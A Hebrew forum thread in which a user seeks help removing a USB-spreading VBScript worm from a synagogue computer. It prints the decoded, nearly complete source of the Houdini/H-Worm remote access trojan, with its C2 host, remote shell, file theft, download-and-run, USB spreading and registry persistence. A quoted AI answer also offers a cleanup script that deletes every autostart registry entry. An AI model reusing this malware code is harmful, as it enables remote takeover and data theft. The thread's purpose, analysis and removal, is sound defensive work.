oexec.stderr.readall else readallfromany = "" end if cmdshell = readallfromany end function@רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:
וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה,
אני מקווה שזה בסדר. אני מעלה מה ג'מיני כתב לי על ההסבר של הקוד.
הקוד ששיתפת הוא דוגמה קלאסית לתוכנה זדונית מסוג Remote Access Trojan (RAT) (סוס טרויאני לשליטה מרחוק), המוכרת בקהילת אבטחת המידע בשם "Houdini" או "H-Worm".זהו סקריפט הכתוב בשפת VBScript שנועד לאפשר לתוקף לשלוט במחשב מרחוק, לגנוב מידע ולהפיץ את עצמו הלאה. להלן ניתוח של הפעולות העיקריות שהקוד מבצע:
- יצירת קשר עם "שרת שליטה ובקרה" (C2)
בראש הקוד מופיעים המשתנים host ו-port:
Host: khattab.no-ipbiz
Port: 5550
הסקריפט מנסה להתחבר לכתובת הזו כדי לקבל פקודות מהתוקף ולשלוח אליו מידע שנאסף מהמחשב שלך.- איסוף מידע (Reconnaissance)
הפונקציה information אוספת נתונים רגישים על המחשב ושולחת אותם לתוקף, כולל:
שם המחשב ושם המשתמש.
מספר סידורי של הדיסק הקשיח (HWID) כדי לזהות את המחשב הייחודי.
גרסת מערכת ההפעלה.
בדיקת אנטי-וירוס: הקוד בודק אילו תוכנות אבטחה מותקנות על המחשב כדי לנסות לעקוף אותן.
- מנגנון הפצה (USB Spreading)
אחד החלקים הבעייתיים ביותר בקוד הוא ה-sub install. הוא סורק את כל הכוננים המחוברים למחשב (במיוחד דיסק-און-קי):
הוא מעתיק את עצמו לכונן ומסתיר את הקבצים האמיתיים של המשתמש.
הוא יוצר קיצורי דרך מטעים (LNK files) שנראים כמו התיקיות המקוריות.
ברגע שמשתמש תמים לוחץ על קיצור הדרך במחשב אחר, הסקריפט מורץ והמחשב החדש נדבק.
- יכולות שליטה מרחוק
הקוד מכיל "תפריט" פקודות (Case Statement) שהתוקף יכול להפעיל מרחוק:
execute: הרצת קוד VBScript ישירות בזיכרון.
send/recv: הורדת קבצים מהאינטרנט למחשב שלך או העלאת קבצים פרטיים מהמחשב לתוקף.
enum-process: צפייה בכל התוכנות שרצות כרגע במחשב.
cmd-shell: פתיחת "שורת פקודה" (Terminal) שמאפשרת לתוקף להריץ כל פקודת מערכת.
update/uninstall: עדכון הגרסה של הווירוס או מחיקה שלו כדי להעלים ראיות.
- הישרדות במערכת (Persistence)
הפונקציה upstart דואגת שהסקריפט ירוץ בכל פעם שהמחשב נדלק על ידי רישום שלו ב-Windows Registry (תחת מפתח ה-Run) והעתקה שלו לתיקיית ה-Startup.
[!CAUTION]
שורה תחתונה: מדובר בכלי פריצה מסוכן. אם נתקלת בקוד הזה על מחשב מסוים, המשמעות היא שהמחשב ככל הנראה נפרץ והתוקף יכול לראות הכל, לגנוב קבצים ואף להשתמש במצלמה או במקלדת (בהינתן פקודות נוספות). - יצירת קשר עם "שרת שליטה ובקרה" (C2)
-
וכשכתבתי ו את ההודעה שלך בהתחלה הוא ענה:
צר לי לשמוע על המצב. זה באמת "בור ברשות הרבים" במובן הטכנולוגי ביותר – מחשבים בבתי כנסת שמשמשים ל"אוצר החכמה" הם יעד קלאסי לווירוס הזה (Houdini), בגלל תחלופת הדיסק-און-קי הגבוהה.
הסיבה שהאנטי-וירוס מתקשה היא שהווירוס משתמש בכלי מערכת לגיטימיים של ווינדוס (כמו wscript.exe) כדי להריץ סקריפט טקסט פשוט, מה שמאפשר לו לעיתים לחמוק מתחת לרדאר.
הנה "מפת הדרכים" של המקומות שבהם הוא מתחבא ואיך מנקים אותו מהשורש:
- היכן הוא מתחבא? (לפי הקוד שצירפת)
הווירוס הזה עקשן כי הוא משכפל את עצמו לכמה מקומות בו-זמנית:
תיקיית זמניים (Temp): הוא מעתיק את עצמו לתיקיית %temp%.
תיקיית הפעלה (Startup): הוא שותל שם עותק כדי שיעלה בכל פעם שהמחשב נדלק.
רישום המערכת (Registry): הוא יוצר מפתח בכתובת HKCU\Software\Microsoft\Windows\CurrentVersion\Run תחת שם שנראה תמים.
בכונני USB: הוא הופך את התיקיות האמיתיות שלך לנסתרות ויוצר במקומן קיצורי דרך עם אותו שם.
- שלבי הניקוי (בצע לפי הסדר)
כדי לנצח אותו, צריך קודם כל "להרדים" אותו ורק אז למחוק:
א. עצירת התהליך
לחץ על Ctrl + Shift + Esc כדי לפתוח את מנהל המשימות.חפש ברשימה תהליך בשם Windows Script Host או wscript.exe.
לחץ עליו קליק ימני וביצוע "סיום משימה". זה ימנע ממנו לשכפל את עצמו בזמן שאתה מוחק אותו.
ב. מחיקה מהרישום (Registry)
לחץ על מקש הלווינדוס + R, הקלד regedit ולחץ Enter.נווט לנתיב: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.
חפש שם ערך שכתוב בו הנתיב לתיקיית ה-Temp או קובץ שמסתיים ב-.vbs. מחק אותו.
בדוק גם בנתיב המקביל תחת HKEY_LOCAL_MACHINE.
ג. מחיקת הקבצים הפיזיים
פתח את סייר הקבצים והדבק בשורת הכתובת: %temp%. חפש קובץ עם סיומת .vbs (השם יכול להיות אקראי או משהו כמו Houdini) ומחק אותו.הדבק בשורת הכתובת: shell:startup. אם יש שם קובץ VBS או קיצור דרך חשוד – מחק אותו.
- תיקון הדיסק-און-קי (החזרת הקבצים שנעלמו)
אם הקבצים בכונן נראים כמו קיצורי דרך, אל תלחץ עליהם! הם אלו שמדביקים מחדש את המחשב.
חבר את הכונן הנגוע.
פתח את "שורת הפקודה" (CMD) כמנהל.
הקלד את האות של הכונן (למשל :F) ולחץ Enter.
הקלד את הפקודה הבאה שתבטל את ההסתרה שהווירוס ביצע:
attrib -h -r -s /s /d .כעת תוכל לראות את התיקיות האמיתיות שלך. מחק את כל קבצי ה-LNK (קיצורי הדרך) ואת קובץ ה-VBS שנמצא על הכונן.
עצה קטנה ל"אוצר החכמה" בבית הכנסת:
כדי למנוע הישנות, כדאי להתקין תוכנה קטנה וחינמית בשם USB Vaccinator או פשוט לחסום הרצת סקריפטים מסוג VBS במחשב אם אין בהם צורך (דרך ה-Registry).האם תרצה שאכתוב עבורך פקודה אחת פשוטה (Batch file) שתבצע את כל הניקוי הזה באופן אוטומטי?
כן
כן
Gemini אמר
הנה קוד פשוט שיצרתי עבורך. הוא מבצע את כל הפעולות שדיברנו עליהן: סגירת התהליך הזדוני, מחיקת הקבצים מהתיקיות הנסתרות וניקוי הרישום (Registry).הוראות ביצוע:
העתק את הקוד למטה.פתח את "פנקס רשימות" (Notepad).
הדבק את הקוד בתוכו.
שמור את הקובץ בשם CleanVirus.bat (חשוב מאוד שהסיומת תהיה .bat ולא .txt).
לחץ על הקובץ ששמרת קליק ימני ובחר "הפעל כמנהל" (Run as Administrator).
הקוד לניקוי המחשב:
קטע קוד
@echo off
color 0A
echo Stopping Virus Process...
taskkill /F /IM wscript.exe /Techo.
echo Deleting Virus Files...
del /F /Q "%temp%*.vbs"
del /F /Q "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup*.vbs"echo.
echo Cleaning Registry Keys...
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /va /f
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /va /fecho.
echo Restoration Complete.
echo Please check your USB drives separately using the 'attrib' command.
pause
מה הקוד הזה עושה בפועל?
taskkill: מפסיק מיד את המנוע שמריץ את הווירוס (wscript).del: מוחק קבצי VBS חשודים מתיקיית הזמניים ומתיקיית ההפעלה האוטומטית.
reg delete: מנקה את רשימת התוכנות שעולות עם המחשב כדי שהווירוס לא יחזור אחרי הפעלה מחדש.
[!CAUTION]
שים לב: הפקודה reg delete עם הפרמטר /va מוחקת את כל התוכנות שעולות אוטומטית למשתמש הנוכחי. זה אומר שאם יש תוכנות לגיטימיות (כמו דרייבר של מדפסת או WhatsApp) שעולות עם המחשב, תצטרך להפעיל אותן ידנית פעם אחת כדי שיחזרו לרשימה, או פשוט להשאיר אותן כך. במחשב של "אוצר החכמה" זה לרוב צעד בטוח ונחוץ.טיפול בכונני ה-USB (הדיסק-און-קי):
אחרי שהרצת את הקובץ למעלה והמחשב "נקי", חבר את הכונן הנגוע והרצ את הפקודה הזו בתוך חלון ה-CMD (שורת הפקודה):
attrib -h -r -s /s /d X:*.*
(החלף את האות X באות של הכונן שלך).זה יחזיר את כל התיקיות שהווירוס הסתיר. לאחר מכן, פשוט מחק ידנית מהכונן כל קובץ עם סיומת .vbs וכל קיצור דרך שנראה כמו תיקייה.
האם תרצה שאסביר לך איך לחסום את המחשב מהרצת קבצי VBS בעתיד כדי שהווירוס לא יוכל לחזור לעולם?
אמרת
כןGemini אמר
כדי למנוע מה"בור" הזה להיפתח שוב בלב בית הכנסת, הדרך הכי טובה היא פשוט להוציא לסקריפטים האלו את ה"מנוע" מהחשמל. ברגע שנחסום את היכולת של המחשב להריץ קבצי VBS, גם אם מישהו יחבר דיסק-און-קי נגוע וילחץ על כל קיצורי הדרך שבעולם – שום דבר לא יקרה.הנה שתי דרכים לעשות זאת, מהקלה והבטוחה ועד היסודית ביותר:
אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).
לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).
בחר ב-"פנקס רשימות" (Notepad).
חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".
לחץ על אישור.
התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.
אפשרות ב': חסימה מוחלטת דרך הרישום (Registry)
זו שיטה "חזקה" יותר שמנטרלת את המנוע שמריץ סקריפטים (Windows Script Host) לחלוטין.לחץ על מקש הלווינדוס + R, הקלד regedit ולחץ Enter.
נווט לנתיב הבא (תוכל להעתיק ולהדביק בשורת הכתובת למעלה):
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settingsבצד ימין (או שמאל, תלוי בשפת המערכת), לחץ קליק ימני על שטח ריק -> New (חדש) -> DWORD (32-bit) Value.
קרא לערך החדש בשם: Enabled.
וודא שהערך שלו הוא 0 (זה ברירת המחדל).
סגור את הרישום והפעל מחדש את המחשב.
התוצאה: אם מישהו ינסה להריץ סקריפט, ווינדוס יקפיץ הודעה ש"הגישה ל-Windows Script Host חסומה במחשב זה". זהו סוף פסוק לווירוסי VBS.
טיפ קטן לגבאי / אחראי המחשב:
מכיוון שהמחשב של "אוצר החכמה" הוא יעד קבוע לדיסק-און-קי מכל הסוגים, כדאי להדביק מדבקה קטנה על המסך: "נא לא להכניס דיסק-און-קי שלא נבדק" – למרות שעם החסימה שעשינו עכשיו, אתם הרבה יותר מוגנים.[!NOTE]
אם בעתיד תצטרכו להתקין עדכון של "אוצר החכמה" שמשתמש בסקריפטים (נדיר, אבל קורה), תצטרכו להחזיר את הערך Enabled ל-1 באופן זמני. - היכן הוא מתחבא? (לפי הקוד שצירפת)
-
@רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:
וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה,
אני מקווה שזה בסדר. אני מעלה מה ג'מיני כתב לי על ההסבר של הקוד.
הקוד ששיתפת הוא דוגמה קלאסית לתוכנה זדונית מסוג Remote Access Trojan (RAT) (סוס טרויאני לשליטה מרחוק), המוכרת בקהילת אבטחת המידע בשם "Houdini" או "H-Worm".זהו סקריפט הכתוב בשפת VBScript שנועד לאפשר לתוקף לשלוט במחשב מרחוק, לגנוב מידע ולהפיץ את עצמו הלאה. להלן ניתוח של הפעולות העיקריות שהקוד מבצע:
- יצירת קשר עם "שרת שליטה ובקרה" (C2)
בראש הקוד מופיעים המשתנים host ו-port:
Host: khattab.no-ipbiz
Port: 5550
הסקריפט מנסה להתחבר לכתובת הזו כדי לקבל פקודות מהתוקף ולשלוח אליו מידע שנאסף מהמחשב שלך.- איסוף מידע (Reconnaissance)
הפונקציה information אוספת נתונים רגישים על המחשב ושולחת אותם לתוקף, כולל:
שם המחשב ושם המשתמש.
מספר סידורי של הדיסק הקשיח (HWID) כדי לזהות את המחשב הייחודי.
גרסת מערכת ההפעלה.
בדיקת אנטי-וירוס: הקוד בודק אילו תוכנות אבטחה מותקנות על המחשב כדי לנסות לעקוף אותן.
- מנגנון הפצה (USB Spreading)
אחד החלקים הבעייתיים ביותר בקוד הוא ה-sub install. הוא סורק את כל הכוננים המחוברים למחשב (במיוחד דיסק-און-קי):
הוא מעתיק את עצמו לכונן ומסתיר את הקבצים האמיתיים של המשתמש.
הוא יוצר קיצורי דרך מטעים (LNK files) שנראים כמו התיקיות המקוריות.
ברגע שמשתמש תמים לוחץ על קיצור הדרך במחשב אחר, הסקריפט מורץ והמחשב החדש נדבק.
- יכולות שליטה מרחוק
הקוד מכיל "תפריט" פקודות (Case Statement) שהתוקף יכול להפעיל מרחוק:
execute: הרצת קוד VBScript ישירות בזיכרון.
send/recv: הורדת קבצים מהאינטרנט למחשב שלך או העלאת קבצים פרטיים מהמחשב לתוקף.
enum-process: צפייה בכל התוכנות שרצות כרגע במחשב.
cmd-shell: פתיחת "שורת פקודה" (Terminal) שמאפשרת לתוקף להריץ כל פקודת מערכת.
update/uninstall: עדכון הגרסה של הווירוס או מחיקה שלו כדי להעלים ראיות.
- הישרדות במערכת (Persistence)
הפונקציה upstart דואגת שהסקריפט ירוץ בכל פעם שהמחשב נדלק על ידי רישום שלו ב-Windows Registry (תחת מפתח ה-Run) והעתקה שלו לתיקיית ה-Startup.
[!CAUTION]
שורה תחתונה: מדובר בכלי פריצה מסוכן. אם נתקלת בקוד הזה על מחשב מסוים, המשמעות היא שהמחשב ככל הנראה נפרץ והתוקף יכול לראות הכל, לגנוב קבצים ואף להשתמש במצלמה או במקלדת (בהינתן פקודות נוספות).@אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:
אני מקווה שזה בסדר.
זה לא,
מהסיבה הפשוטה שלכולם יש גישה לai,
אז חוץ מלהסתיר ולמלאות את כול המסך לגוללים לא הרווחנו כלום.בנוסף זה מנוגד לחוקי הפורום,
מטרת הפורום היא לתת תשובה מדויקת ומקצועית לשואל על-פי המידע והניסיון האישי של המשתמשים העונים, ולכן אין להגיב לשואל במענה ממנוע בינה מלאכותית כמו "צ'אט GPT" וכד', השואל יכול לעשות זאת בעצמו ולא לשם כך הוא פתח את הנושא, כמו כן אין להעלות פוסטים משלכם שנוסחו ע"י בינה מלאכותית, זה מספים ומוריד את הרמה, בפרט אם זה עם המון מלל או אימוג'ים.
- יצירת קשר עם "שרת שליטה ובקרה" (C2)
-
@אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:
אני מקווה שזה בסדר.
זה לא,
מהסיבה הפשוטה שלכולם יש גישה לai,
אז חוץ מלהסתיר ולמלאות את כול המסך לגוללים לא הרווחנו כלום.בנוסף זה מנוגד לחוקי הפורום,
מטרת הפורום היא לתת תשובה מדויקת ומקצועית לשואל על-פי המידע והניסיון האישי של המשתמשים העונים, ולכן אין להגיב לשואל במענה ממנוע בינה מלאכותית כמו "צ'אט GPT" וכד', השואל יכול לעשות זאת בעצמו ולא לשם כך הוא פתח את הנושא, כמו כן אין להעלות פוסטים משלכם שנוסחו ע"י בינה מלאכותית, זה מספים ומוריד את הרמה, בפרט אם זה עם המון מלל או אימוג'ים.
פוסט זה נמחק! -
חבל מאד שאין לי אפשרות לצ'אט עמו.
אני מתכוין בל"נ למחוק את זה מייד כשהוא יראה.
אגב, זה פשוט מרתק לראות איך הקוד עובד, ביקשתי פירוט וזה היה מעניין.
אני לא מעלה את זה פה, כי יש פה גאוני תיכנות שזה בשבילם שטויות.
ובאמת כל אחד כמעט יכול לבדוק בעצמו... -
@רנדומלי
למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
ואולי אפילו גרסה בתשלום אם זה מתאפשר.... -
@AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:
למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
לפי איזה פרמטר הוא יותר חזק?
דיפנדר טוב מאוד וחינמי -
@רנדומלי
למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
ואולי אפילו גרסה בתשלום אם זה מתאפשר....@AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:
רנדומלי
למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
ואולי אפילו גרסה בתשלום אם זה מתאפשרסתם שאלה אין פה בפורום eset פרוץ שאתה כותב לו שיעשה בתשלום
-
@AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:
רנדומלי
למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
ואולי אפילו גרסה בתשלום אם זה מתאפשרסתם שאלה אין פה בפורום eset פרוץ שאתה כותב לו שיעשה בתשלום
-
בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:
cmd /c hrxxryydxo.vbs && start explorer [file name]הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.
לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.
תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.
לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:
z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
לאחר פיענוח הקידוד התקבל הקוד הבא:
אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.e '<[ recoder : houdini (c) skype : houdini-fx ]> '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-= host = "khattab.no-ip.biz" port = 5550 installdir = "%temp%" lnkfile = true lnkfolder = true '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-= dim shellobj set shellobj = wscript.createobject("wscript.shell") dim filesystemobj set filesystemobj = createobject("scripting.filesystemobject") dim httpobj set httpobj = createobject("msxml2.xmlhttp") '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-= installname = wscript.scriptname startup = shellobj.specialfolders ("startup") & "\" installdir = shellobj.expandenvironmentstrings(installdir) & "\" if not filesystemobj.folderexists(installdir) then installdir = shellobj.expandenvironmentstrings("%temp%") & "\" spliter = "<" & "|" & ">" sleep = 5000 dim response dim cmd dim param info = "" usbspreading = "" startdate = "" dim oneonce '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-= on error resume next instance while true install response = "" response = post ("is-ready","") cmd = split (response,spliter) select case cmd (0) case "excecute" param = cmd (1) execute param case "update" param = cmd (1) oneonce.close set oneonce = filesystemobj.opentextfile (installdir & installname ,2, false) oneonce.write param oneonce.close shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34) wscript.quit case "uninstall" uninstall case "send" download cmd (1),cmd (2) case "site-send" sitedownloader cmd (1),cmd (2) case "recv" param = cmd (1) upload (param) case "enum-driver" post "is-enum-driver",enumdriver case "enum-faf" param = cmd (1) post "is-enum-faf",enumfaf (param) case "enum-process" post "is-enum-process",enumprocess case "cmd-shell" param = cmd (1) post "is-cmd-shell",cmdshell (param) case "delete" param = cmd (1) deletefaf (param) case "exit-process" param = cmd (1) exitprocess (param) case "sleep" param = cmd (1) sleep = eval (param) end select wscript.sleep sleep wend sub install on error resume next dim lnkobj dim filename dim foldername dim fileicon dim foldericon upstart for each drive in filesystemobj.drives if drive.isready = true then if drive.freespace > 0 then if drive.drivetype = 1 then filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true if filesystemobj.fileexists (drive.path & "\" & installname) then filesystemobj.getfile(drive.path & "\" & installname).attributes = 2+4 end if for each file in filesystemobj.getfolder( drive.path & "\" ).Files if not lnkfile then exit for if instr (file.name,".") then if lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then file.attributes = 2+4 if ucase (file.name) <> ucase (installname) then filename = split(file.name,".") set lnkobj = shellobj.createshortcut (drive.path & "\" & filename (0) & ".lnk") lnkobj.windowstyle = 7 lnkobj.targetpath = "cmd.exe" lnkobj.workingdirectory = "" lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit" fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") if instr (fileicon,",") = 0 then lnkobj.iconlocation = file.path else lnkobj.iconlocation = fileicon end if lnkobj.save() end if end if end if next for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders if not lnkfolder then exit for folder.attributes = 2+4 foldername = folder.name set lnkobj = shellobj.createshortcut (drive.path & "\" & foldername & ".lnk") lnkobj.windowstyle = 7 lnkobj.targetpath = "cmd.exe" lnkobj.workingdirectory = "" lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit" foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") if instr (foldericon,",") = 0 then lnkobj.iconlocation = folder.path else lnkobj.iconlocation = foldericon end if lnkobj.save() next end If end If end if next err.clear end sub sub uninstall on error resume next dim filename dim foldername shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0) shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0) filesystemobj.deletefile startup & installname ,true filesystemobj.deletefile wscript.scriptfullname ,true for each drive in filesystemobj.drives if drive.isready = true then if drive.freespace > 0 then if drive.drivetype = 1 then for each file in filesystemobj.getfolder ( drive.path & "\").files on error resume next if instr (file.name,".") then if lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then file.attributes = 0 if ucase (file.name) <> ucase (installname) then filename = split(file.name,".") filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" ) else filesystemobj.deletefile (drive.path & "\" & file.name) end If else filesystemobj.deletefile (file.path) end if end if next for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders folder.attributes = 0 next end if end if end if next wscript.quit end sub function post (cmd ,param) post = param httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false httpobj.setrequestheader "user-agent:",information httpobj.send param post = httpobj.responsetext end function function information on error resume next if inf = "" then inf = hwid & spliter inf = inf & shellobj.expandenvironmentstrings("%computername%") & spliter inf = inf & shellobj.expandenvironmentstrings("%username%") & spliter set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") set os = root.execquery ("select * from win32_operatingsystem") for each osinfo in os inf = inf & osinfo.caption & spliter exit for next inf = inf & "plus" & spliter inf = inf & security & spliter inf = inf & usbspreading information = inf else information = inf end if end function sub upstart () on error resume Next shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0), "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ" shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0), "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ" filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true end sub function hwid on error resume next set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") set disks = root.execquery ("select * from win32_logicaldisk") for each disk in disks if disk.volumeserialnumber <> "" then hwid = disk.volumeserialnumber exit for end if next end function function security on error resume next security = "" set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48) for each objitem in colitems versionstr = split (objitem.version,".") next versionstr = split (colitems.version,".") osversion = versionstr (0) & "." for x = 1 to ubound (versionstr) osversion = osversion & versionstr (i) next osversion = eval (osversion) if osversion > 6 then sc = "securitycenter2" else sc = "securitycenter" set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc) Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0) for each objantivirus in colantivirus security = security & objantivirus.displayname & " ." next if security = "" then security = "nan-av" end function function instance on error resume next usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\") if usbspreading = "" then if lcase ( mid(wscript.scriptfullname,2)) = ":\" & lcase(installname) then usbspreading = "true - " & date shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\", usbspreading, "REG_SZ" else usbspreading = "false - " & date shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\", usbspreading, "REG_SZ" end if end If upstart set scriptfullnameshort = filesystemobj.getfile (wscript.scriptfullname) set installfullnameshort = filesystemobj.getfile (installdir & installname) if lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34) wscript.quit end If err.clear set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false) if err.number > 0 then wscript.quit end function sub sitedownloader (fileurl,filename) strlink = fileurl strsaveto = installdir & filename set objhttpdownload = createobject("msxml2.xmlhttp" ) objhttpdownload.open "get", strlink, false objhttpdownload.send set objfsodownload = createobject ("scripting.filesystemobject") if objfsodownload.fileexists (strsaveto) then objfsodownload.deletefile (strsaveto) end if if objhttpdownload.status = 200 then dim objstreamdownload set objstreamdownload = createobject("adodb.stream") with objstreamdownload .type = 1 .open .write objhttpdownload.responsebody .savetofile strsaveto .close end with set objstreamdownload = nothing end if if objfsodownload.fileexists(strsaveto) then shellobj.run objfsodownload.getfile (strsaveto).shortpath end if end sub sub download (fileurl,filedir) if filedir = "" then filedir = installdir end if strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1) set objhttpdownload = createobject("msxml2.xmlhttp") objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false objhttpdownload.send "" set objfsodownload = createobject ("scripting.filesystemobject") if objfsodownload.fileexists (strsaveto) then objfsodownload.deletefile (strsaveto) end if if objhttpdownload.status = 200 then dim objstreamdownload set objstreamdownload = createobject("adodb.stream") with objstreamdownload .type = 1 .open .write objhttpdownload.responsebody .savetofile strsaveto .close end with set objstreamdownload = nothing end if if objfsodownload.fileexists(strsaveto) then shellobj.run objfsodownload.getfile (strsaveto).shortpath end if end sub function upload (fileurl) dim httpobj,objstreamuploade,buffer set objstreamuploade = createobject("adodb.stream") with objstreamuploade .type = 1 .open .loadfromfile fileurl buffer = .read .close end with set objstreamdownload = nothing set httpobj = createobject("msxml2.xmlhttp") httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false httpobj.send buffer end function function enumdriver () for each drive in filesystemobj.drives if drive.isready = true then enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter end if 